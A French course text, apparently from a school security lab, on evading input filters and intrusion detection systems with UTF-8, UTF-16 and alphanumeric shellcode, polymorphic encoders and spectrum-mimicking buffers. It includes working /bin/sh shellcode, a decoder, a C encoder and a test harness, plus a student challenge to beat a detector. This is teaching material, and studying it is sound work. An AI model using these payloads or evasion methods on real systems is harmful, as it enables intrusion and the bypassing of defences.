Table des matières
Pour se proteger des buffers overflow qui utilisent des shellcode il existe differentes techniques basees sur l'utilisation de filtres. Le buffer ou se trouve le shellcode est verifie a l'aide de fonction comme strcpy, strncpy, a la recherche de pattern comme:
Il existe aussi d'autres types de filtre comme ceux alpha-numeriques qui n'acceptent que les chiffres et les lettres ou les filtres unicodes qui n'acceptent que les codes sous la forme unicode. Cette technique de filtrage peut etre directement incorporee aux programmes ou etre utilisee directement sur la couche ip, c'est ce que font les IDS (Intrusion Dection Systems), en cherchant directement dans les packets transmis la presence d'un eventuel shellcode, s'il les trouve la connection avec l'attaquant est directement bloquee. C'est pourquoi il faut que les IDS puissent travailler en temps reel, s'ils mettent trop de temps a analyser les packets, ils ne pourront pas bloquer les attaques.
Nous allons voir comment les protections des IDS classiques sont surpassees, puis nous verrons que l'on peut utiliser ces differentes techniques pour consolider la base de donnees que sont IDS, et les rendre plus alertes a la detection d'attaques externes.
UTF-8 est un format unicode special qui permet de coder tous les characteres unicodes sur un nombre de bytes different. En fait ce format est tres pratique car il permet d'utiliser des fichiers ascii sans les modifier car les caractreres communs avec l'ascii sont toujours codes sur un byte et le meme byte. Les filtres utf-8 sont souvent utilises dans les applications web car le xml est stocke sous ce format. De plus l'utf-8 va etre de plus en plus utilise dans le futur car il permet de coder n'importe quel caractere mais il ne force pas a la reconversion de texte ascii ce qui est tres pratique. Il est donc evident qu'un filtre UTF-8 laisse passer les shellcodes alphanumeriques. Mais il est bien plus simple d'ecrire un shellcode UTF-8 car on est beaucoup moins limite dans le jeu d'instructions.
Les caracteres qui ont une valeur plus grande que U-0000007F doivent utiliser plusieurs bytes comme indique dans ce tableau.
U-00000000 - U-0000007F: 0xxxxxxx U-00000080 - U-000007FF: 110xxxxx 10xxxxxx U-00000800 - U-0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx U-00010000 - U-001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx U-00200000 - U-03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx U-04000000 - U-7FFFFFFF: 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
Example: U-0000211C (BLACK-LETTER CAPITAL R)
D'apres le tableau precedent on a besoin de 4 bytes pour encoder ce caractere
0x211C donne 00100001 00011100 en binaire. Remplissons le tableau:
1110xxxx 10xxxxxx 10xxxxxx 10xxxxxx
+ 0000 100001 000100 011100
-----------------------------------
11100000 10100001 10000100 10011100
Ce qui donne en utf8: \xE0\xB1\x84\x9C
On comprend vite que la difficulte va etre d'ecrire une sequence de plusieurs instructions valides en UTF-8, car les parsers UTF-8 valident un nombre uniquement s'il utilise la plus petite representation possible quand il y en a plusieurs.
Heuresement on va pouvoir facilement utiliser les NOP (0x90) et une instuction non documentee sur x86 qui s'appelle salc (0xd6) et qui peut etre utilisee comme une NOP si on fait attention au fait qu'elle va modifier %al (en faite SALC met 0x00 ds %al si le carry est a 0 si non elle met 0xFF)
Liste des sequences valides tire de l'article de Greuff "Writing UTF-8 compatible shellcodes" (cf votre magnifique livre au lab srs)
UTF-8: Code Points 1st Byte 2nd Byte 3rd Byte 4th Byte U+0000..U+007F 00..7F U+0080..U+07FF C2..DF 80..BF U+0800..U+0FFF E0 A0..BF 80..BF U+1000..U+FFFF E1..EF 80..BF 80..BF U+10000..U+3FFFF F0 90..BF 80..BF 80..BF U+40000..U+FFFFF F1..F3 80..BF 80..BF 80..BF U+100000..U+10FFFF F4 80..8F 80..BF 80..BF
Comme le montre le tableau a part pour les caractres ascii, certains bytes doivent se suivre dans un ordre etabli. On appelle continuation bytes ceux qui suivent un byte de but de sequences. Comme dit precedemnt on va pouvoir utiliser les NOP et SALC pour continuer une chaine ou comme byte de continuation ds de nombreux cas ce qui va faciliter notre probleme.
Exemple d'utilisation de nop pour valider un xor:
"\x31\xc9" // xor %ecx, %ecx
"\x90" // nop (UTF-8) continue ecx
"\x31\xdb" // xor %ebx, %ebx
"\x90" // nop (UTF-8) continue ebx
Un autre probleme est celui des instructions qui doivent-etre continuees de certains byte, en fait on peut ici utiliser SALC pour demarrer la chaine et faire l'effet du NOP puis apres continuer notre chaine avec les insctrutions dont on a besoin.
"\xd6" // salc (UTF-8)
"\x8d\x0c\x24" // lea (%esp,1),%ecx
Attention SALC modifie %al !
D'ailleurs ce n'est pas le seul probleme avec %eax car quand il est utilise en parametre son opcode est \xc0 qui est invalide en UTF-8, il faut donc trouver des astuces comme utiliser la stack car push %eax est code sur une seul instruction
xor %ebx, %ebx
push %ebx
pop %eax
Pour tester le code on peut utiliser iconv un convertisseur de format de fichier text, on choisit de convertir de l'UTF-8 vers l'UTF-16 s'il n y a pas d'erreur c'est que le shellcode est bien UTF-8 compliant ;) (On bien sur tjrs l'injecter avec un simple programme C pour voir s'il marche toujours).
iconv -f UTF-8 -t UTF-16 test
Voici un exemple simple, on utilise 12 inc eax pour remplacer l'instruction "mov $0x0b, %eax"
"\x31\xd2" // xor %edx,%edx
"\x90" // nop (car on a 0xd2 avant)
"\x52" // push %edx
"\x68\x6e\x2f\x73\x68" // push $0x68732f6e
"\x68\x2f\x2f\x62\x69" // push $0x69622f2f
"\xd6" // salc (parceque le prochain byte est 0x89)
"\x89\xe3" // mov %esp,%ebx
"\x90" // nop (a cause de 0xe3)
"\x90" // nop
"\x52" // push %edx
"\x53" // push %ebx
"\xd6" // salc
"\x89\xe1" // mov %esp,%ecx
"\x90" // nop
"\x90" // nop
"\x52" // push %edx
"\x58" // pop %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\xcd\x80" // int $0x80
;
Cette technique permet donc de 'bypass' outrepasse les filtres unicode UTF-8. On peut directement coder le shellcode soi-meme car on dispose, malgres les restrictions importantes du nombre d'instructions, et de petites astuces qui permettent de coder facilement le shellcode. Mais pour passer la plupart des autres filtres nous allons devoir utiliser une autre methode plus generale qui consiste a creer un encodeur qui va encoder n'importe quel shellcode au bon format, il ne reste alors qu'a coder le decodeur, que l'on va placer avant le shellcode, avec les instructions limitees. Cette technique est dite polymorphique car le programme va reecrire sur lui meme sa version decodee et se reexecuter une fois decode, la partie executable a donc plusieurs formes.
L'utf-16 est une autre forme d'unicode, qui code les caracteres sur deux octets (16bits). Quand ces caracteres font partis de la table ascii le premier octet est egal a celui en ASCII et le deuxieme octet est nul.
exemple:
ABCDEF
ASCII: \x41\x42\x43\x44\x45\x46\x00
UNICODE: \x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00
Le buffer doit etre code entirement en UTF-16 il faut donc que l'adresse de retour soit unicode friendly 0x007700FF. On peut essayer de retourner sur une adresse qui appelle un registre si l'adresse est stockee ds le registre
Il faut aussi utiliser des fausses nop qui contiennent des zeros entre certaines instructions. Exemple: push eax pop ecx push eax add byte ptr[ebp], ch pop ecx
La methode venitienne:
Cette methode utilise un 'exploit writer' et un buffer avec le shellcode ecrit un char sur deux. On encode d'abord notre shellcode en UTF-16, on remplace une instruction sur deux par un zero et on place l'instruction remplacee a la fin du shellcode elle meme suivi par un zero:
Si notre shell code est: \x41\x42\x43\x44\x45\x46\x47\x48
On le reecrit sous la forme: \x41\x00\x43\x00\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00 On va mettre avant notre shellcode une boucle qui utilisera des opcodes UTF-8 et qui va remplacer les vides par les valeurs qu'il faut:
La boule deplace une valeur a chaque tour: copie 42, sur le 1er \x00:
\x41\x42\x43\x00\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00
copie 44, sur le deuxieme \x00:
\x41\x42\x43\x44\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00
copie 46, sur le troisieme \x00:
\x41\x42\x43\x44\x45\x46\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00
copiee 48, sur le troisieme \x00:
\x41\x42\x43\x44\x45\x46\x47\x48\x48\x00\x46\x00\x44\x00\x42\x00 On se retrouve au final avec notre shellcode reecrit dans le bon ordre il nous reste plus qu'a jump au debut de se shellcode.
Pour plus de details: "Creating arbitraty shell code in unicode expanded strings" Janvier 2002 : http://www.nextgenss.com/papers/unicodebo.pdf
Les shellcodes alphanumeriques sont utilises pour passer outre les filtres qui n'acceptent que les characteres 0-9, A-Z, a-z. Beaucoup de programmes utilisent ce type de filtrage puisqu'il est logique dans le cas d'une saisie utilisateur. L'avantage des sc alpha-numeriques c'est que une fois cree on peut le strocker n'importe ou: environnement, commande, parametre, nom de fichier, nom d'utilisateur ou password ...
Mais les instructions pour les creer (celles qui coresspondent donc a 0-9 \x30 - \x39, a-z A-z \x61-\x7A \x41-\x5A) sont tres limites et complexes c'est pourquoi il vaut mieux creer un encodeur qui va pouvoir coder n'importe quel shellcode (pratique pour les shellcode reverse connect ou quand on a des modif a faire), et coder un petit decodeur directement en alpha. Pour creer le decodeur on peut utiliser une methode proche de la methode de codage de la base 64. Cette technique est utilisee en general pour transformer du binaire en ascii, les caracteres sont codes sur 4 bytes affichables au lieu de trois bytes, mais la base64 code aussi sur des caracteres ascii non alpha-numeriques. On peut a la place utiliser une base16 qui coderait un byte sur deux bytes auxquels on ajouterait 0x41, ceci permet de coder sur les caracteres allant de A-P et de prendre les caractres superieurs comme fin de chaine.
Exemple: 0x90h -> 1001 0000b 0x41 -> 0100 0001b --> 0000 0000b + 0100 0001b __________ 1101 0001b --> 0x4A (J) 1001 0000b + 0100 0001b ___________ 0100 0001b --> 0x41 (A)Riley "Caezar" Eller "bypassing MSB Data Filters for Buffer Overflows" Aout 2000
Un IDS ou un antivirus a une database avec des signatures, suite de bytes qui permet d'indentifier un code Une fois ce code identifie comme dangereux le programme est detruit ou la connection bloquee dans le cas d'un IDS. Meme si on utilise d'autres techniques pour appeller execve il y aura qund meme une signature que l'on pourra identifer puis utiliser dans l'ids pour se proteger.
La solution est donc de chiffrer le shellcode : si l'on chiffre le shellcode AAAAAAAA en XXXXXXXXXXX l'IDS ne peut plus le retrouver mais pour pouvoir le dechiffrer on doit mettre avant un decodeur CCC ce qui donne CCCXXXXXXXX malheuresement CCC peut etre retrouve par pattern-matching, car seul la clef va etre changee !
C'est la qu'apparaissent les shellcode polymorphiques...
Le terme polymorphique apparait sur la scene virus en 92 invente par Dark Avenger. En fait il faut chiffrer le code du virus et generer une technique de dechifrage differente a chaque fois comme ca le virus est different a chaque fois et ne peut etre scanne (Sinon le decodeur est constant a part la clef et on le repere !), cette methode est donc parfaite contre le pattern matching puisque on ne pourra pas retrouver de sequence commune au virus.
Moteur polymorphique de virus :
Avantage des sc poly sur les virii poly:
Le sc etant la derniere chose lancee par le programme il n'a pas besoin de sauvegarder / restaurer les registres par exemple pour que l'execution se continue. C'est un grand avantage, on peut dans la fake nop faire du code qui fait rien ;)
Les sc doivent etre nulle zero il faut donc faire attention aux chaines caracteres
ADMmutate et le premier essai d'application de cette technique au shellcode Comment creer un simple shellcode polymorphique:
Pour creer ce shellcode on va tout d'abord cree un decodeur en assembleur, puis un encodeur de shellcode en C, enfin on liera le decodeur au shellcode encode et on le testera.
Il y a plusieurs methodes simples pour encoder un shellcode : on peut faire ajouter ou soustraire a une valeur a tous les bytes ou XOR les bytes avec une clef, ou bien utiliser l'instruction mov pour swap des bytes.
La methode la plus simple la soustraction :
Le decodeur en ASM:
jmp get_addr
go:
pop %eax #met ds %eax l'addresse du shellcode a decoder
xor %ecx, %ecx
mov $25, %cl #taille du shellcode a decoder
add %ecx, %eax #on fait pointer %eax sur la fin du shellcode
loop:
sub $1, %eax #on soustrait 1 a l'opcode courant du shellcode
sub $1, (%eax) #on soustrait 1 a l'adresse sur laquelle pointe eax
sub $1, %ecx #on soustrait 1 a ecx
jnz loop #tant que %ecx != 0 on continue notre boucle
jmp sc_encoded #le shellcode est decode on peut jump dessus !
get_addr:
call go #call push l'adresse de la prochaine instruction
sc_encoded:
#on place ici notre shellcode encode
L'encodeur en C:
char decoder[] = /*l'encodeur precedent */
"\xeb\x14\x58\x31\xc9\xb1\x19\x01\xc8\x83\xe8\x01\x83\x28\x01\x83"
"\xe9\x01\x75\xf5\xeb\x05\xe8\xe7\xff\xff\xff";
char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68" /* le shellcode a encoder */
"\x68\x2f\x62\x69\x6e\x89\xe3\x50";
"\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char *encode()
{
char *sc_encoded = malloc(strlen(sc));
int i;
for (i = 0; i < strlen(sc); i++)
sc_encoded[i] = sc[i] + 1; /*on a ajoute 1 a chaque opcode du shellcode*/
return (sc_encoded);
}
Le test
char sc[] =
"\xeb\x14\x58\x31\xc9\xb1\x19\x01\xc8\x83\xe8\x01\x83\x28\x01\x83" /*decodeur */
"\xe9\x01\x75\xf5\xeb\x05\xe8\xe7\xff\xff\xff"
"\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51" /*shellcode encode*/
"\x8a\xe3\x54\x8a\xe2\xb1\x0c\xce\x81";
int main()
{
int *ret;
ret = (int *)&ret + 2;
*ret = sc;
}
resultat:
sh-3.00$ # ca marche !!
C'est ainsi que sont fait la plupart des shellcodes polymorphiques, peu de generateurs polymorphique utilisent vraiment des techniques de chiffrage non constantes (ex: ADMmutate) et meme cela peuvent avoir des problemes :
XOR pb (clef constante)
NOP zone avec juste des one byte instructions
Car les IDS ne font pas que du pattern matching sur le shellcode mais sur tout le buffer il faut donc modifier tout le buffer.
Salut, je m'appelle chiche et je viens de creer un IDS qui est incroyable ...
Il est capable de detecter un shellcode !
Je vous demande si vous l'acceptez de tester mes fonctions de detection de shellcode, pour me confirmer la qualite superieure de ce programme.
Le binaire est dans le sgoinfre dans chichcode/chichtest, fournissez lui une chaine en argument et il detectera si c'est un shellcode.
Hum ... Ici vos profs de secu, soyez gentils et rassurez nous sur votre niveau en faisant un shellcode qui n'est pas reconnu par le programme de chiche, essayez aussi de nous dire quelles fonctions de cryptage reconnait le programme de chiche (ca ne doit pas etre tres complique ... ;)
Si vous le voulez n'hesitez pas a creer un petit tool sympa, pour vous aidez au developpement et pourquoi pas generer des shellcodes differents facilement.
Les IDS detectent les NOP pad ou les fake nop zones puis essayent de detecter le sc par pattern matching. Ils pourraient aussi essayer de detecter les parties communes du cram buffer ou les nombreuses adresses de retour consecutives.
Donc il faut aller plus loin que le sc poly on doit essayer de modifier les differentes parties du buffer.
Schema de buffer classique pour un BOF:
| NOP | shellcode | byte to cram | return address|
Modification des differentes parties:
NOP pad :
Rappellez vous que les nop sont necessaires car on ne sait pas exactement ou va pointer le shellcode il faut que le shellcode puis commencer a nimporte quel endroit du nop pad, si on veut remplacer 0x90 par d'autres instructions il faut que ce principe soit toujours verifie, on peut donc remplacer les nop par n'importe qu'elle instruction d'un byte puisque en arrivant n'importe ou dans le code leur signification ne sera pas changee.
Malheuresement il n'y pas bcp de `one byte` instructions, ce qui fait qu'elles sont facilement reperables. (bien que beaucoup soient alpha numeriques ce qui est plutot pratique pour passer outre les ids en codant une nop zone alphanumerique avec un dictionaire americain par ex.
Mais parfois ca ne marche pas surtout si le service n'est pas alphanum On peut aussi utiliser des 2 byte insctructions dans lesquelles le deuxieme byte est une one byte instruction ou le premiere byte d'une autre two byte instruction et cela recursivement .... Mais certaines two byte instrucitons pointent sur une zone memoire ou on a besoin de suffix il faut donc que les suffixes et les zone memoire soient elles memes des instructions lisibles a partir de n'importe ou. Il faut donc faire attention car parfois des segfaults ou divisons par zero peuvent apparaitre.
shellcode:
Pour encoder le shellcode il faut essayer d'utiliser des algo qui utilisent plusieurs operations (pas un simple XOR ou SUB / ADD)
Le decodeur :
Pourquoi l'utilisation de XOR avec une clef unique ne marche pas:
Le probleme vient donc d'utiliser que des xor et une clef de taille fixe. Si on utilise une clef qui change et qui change de taille c'est plus efficace, on peut aussi utiliser add, ror etc... On peu aussi modifier les registre utilises
On a besoin de 2 registres un pour mettre l'adresse courante : un pour stocker ce qu'il y a cette adresse et un pour le reste, on a le choix entre plusieurs registres que l'on peut choisir au hasard
Deux autres methodes :
byte to cram:
IL faut eviter de mettre plein de fois l'adresse de retour car c'est detecte facilement, surtout par le data-mining (voir plus bas) : Cette grande zone nous permet de mettre ce que l'on veut on peut donc utiliser des bytes aleatoirements ou par exemple utiliser un dictionnaire pour generer une zone alpha-numerique.
return addr:
Peu de solution ici ...
Schema d'un buffer polymorphique :
Au final presque toutes les parties de votre buffer seront modifiees:
| fake NOP | decipher routine | ciphered sh | byte to cram | ret addr|
Apres que les shellcodes polymorphique de ce type soient distribues sur le net, de nouvelles techniques de detection sont apparues dans les IDS. Ces techniques sont basees sur l'analyse de spectre et le 'data-mining', une autre technique est employee dans les anti-virus, c'est l'emulation de code.
L'emulation de code permet d'executer le virus polymorphique pour voir ce qu'il fait sans detruire le systeme, mais cette technique necessite beaucoup de ressources, elle est trop lente pour etre utilisee dans les IDS qui doivent pouvoir reagir tres vite pour couper la connection de l'attaquant. C'est pourquoi les IDS utilise d'autres methodes basees sur le 'data-mining'.
Une methode par analyse de spectre va nous donner le nombre d'occurences des memes bytes dans un paquet donne. Par exemple:
25 \x00 32 \x01 4 \08 ...
ce tableau est un spectre de X
Un IDS va donc faire des spectres avec les paquets recus et cree des regles. Si par exemple dans un trafic normal on a jamais plus de 20 bytes de FF, vous pouvez creer la regle de rejeter les paquets avec plus de 20 bytes de FF
C'une regle simpliste en faite la plupart sont generees grace a des reseaux neuronaux comme nous le verrons plus loin. Cette technique remplace le pattern-matching dans le sens ou les signatures ne sont plus celles des instructions mais celles du spectre.
Ils enregistrent des signatures de spectre au lieu de signature de paquets:
Par exemple:
|25 |32 |4 | --------------- |\x00|\x01|\x08|
Si on utilise un systeme d'encryptage avec des XOR sur un byte notre paquet aura ce spectre:
|25 |32 |4 | --------------- |\x03|\x04\\x0B|
le spectre est le meme l'attaque est donc detectee.
Pour eviter cela il faut encrypter le shellcode sur 4 byte, si on crypte FFFFFFF avec XOR AABBCCDD ADD 1 on obtient 66554433 : ce spectre de X n'est pas une simple permutation de X
le but est de pouvoir prendre une decision tres rapide sur un grand nombre d'info a traiter, C'est pourquoi l'IDS snort a choisi d'utiliser un reseaux de neurone pour creer ces regles de verification de paquets.
Un neuronne est un simple calculateur:
Il recoit des variables choisies comme les diffrents octeta du paquet ou le nombre de 0x 1x etc.. et utilise des variables creees en apprenant pour tester la validite du paquet
Pour trouver les bonnes valeurs, on doit d'abord apprendre au reseau de neurones en lui donnant des paquets invalides et valides et en le corrigant quand il se trompe.
L'avantage est que les regles ne sont plus dictees par un humain mais en apprenant le poids des differentes entrees sur le reseau de neurones et les criteres de decision.
C'est beaucoup plus rapide que de chercher dans une enorme base de donnees de pattern matching.
| |
---Internet | firewall | server
| ids |
On sniffe le trafic sur le port 80 du server pour recuperer des donnees qui sont acceptees par l'ids.
Puis on en fait un spectre (tableau avec les nbd de 00 01 etc ...) qui va nous servir a generer le code des differentes zones car il faut utiliser ce spectre differement d'apres les zones.
Generer un buffer et un shellcode grace a l'analyse de spectre:
Generer une cram zone grace a l'analyse de spectre:
On essaye de faire une zone avec le meme spectre que celui du traffic (sauf celui de \x00).
C'est la zone clef car on peut generer les bytes qu'on veux, et comme on ne peut pas en generer dans certaines zones comme celles du decodeur on peut mettre les bytes qui manquent dans cette zone, pour equilibrer.
Exemple: A B C 50 50 100
On va esssayer de suivre se spectre sachant que notre shellcode + nop zone fait:
ABBAAAAA
Si on a le droit a deux bytes pour la cram zone on se dit d'abord qu'il faut rajouter des C car les probabilites sont plus elevees car C est important dans le spectre mais c'est une mauvaise maniere de penser car si on prend un packet avec sh + np de :
CCCCCBBB
On pourrait choisir A avec les memes raisons qu'avant
Si on choisit C avant
ABBAAAAACC
En faite cette methode est mauvaise car elle est statique, et que si le shellcode et le nop est le meme, la cram zone qui doit nous permettre d'etre different ne l'est pas.
Avec ce principe on reconnait les paquets en prenant les premiers octets et en essayant de les faire suivre de cette methode si la zone generee est la meme, on peut en deduire que c'est un shellcode.
On peut pour contrer cela utiliser des probabilites et dire que dans ce cas la probabilite de C est augmentee et celle de A est B diminuee
C'est la methode de CLET, un generateur de shellcode polymorphique tres complet qui utilise des proba et toute les techniques avancees pour creer son buffer. (Phrack 61, Polymorphic Shellcode Engine Using Spectrum Analysis pour plus de detail)
Generer le sc en utilisant l'analyse spectrale:
Attention l'analyse spectrale peut ne pas suffir car parfois une regle simple comme pas de \xFF peut nous empecher de realiser un sc en utlisant l'analyse spectrale.
Fakenop zone en utilisant l'analyse spectrale:
On ne peut utiliser cette methode car c'est trop complique, on utilise un random, car le choix des opcodes est trop restreint du au fait que l'on doit pouvoir pointer n'importe ou.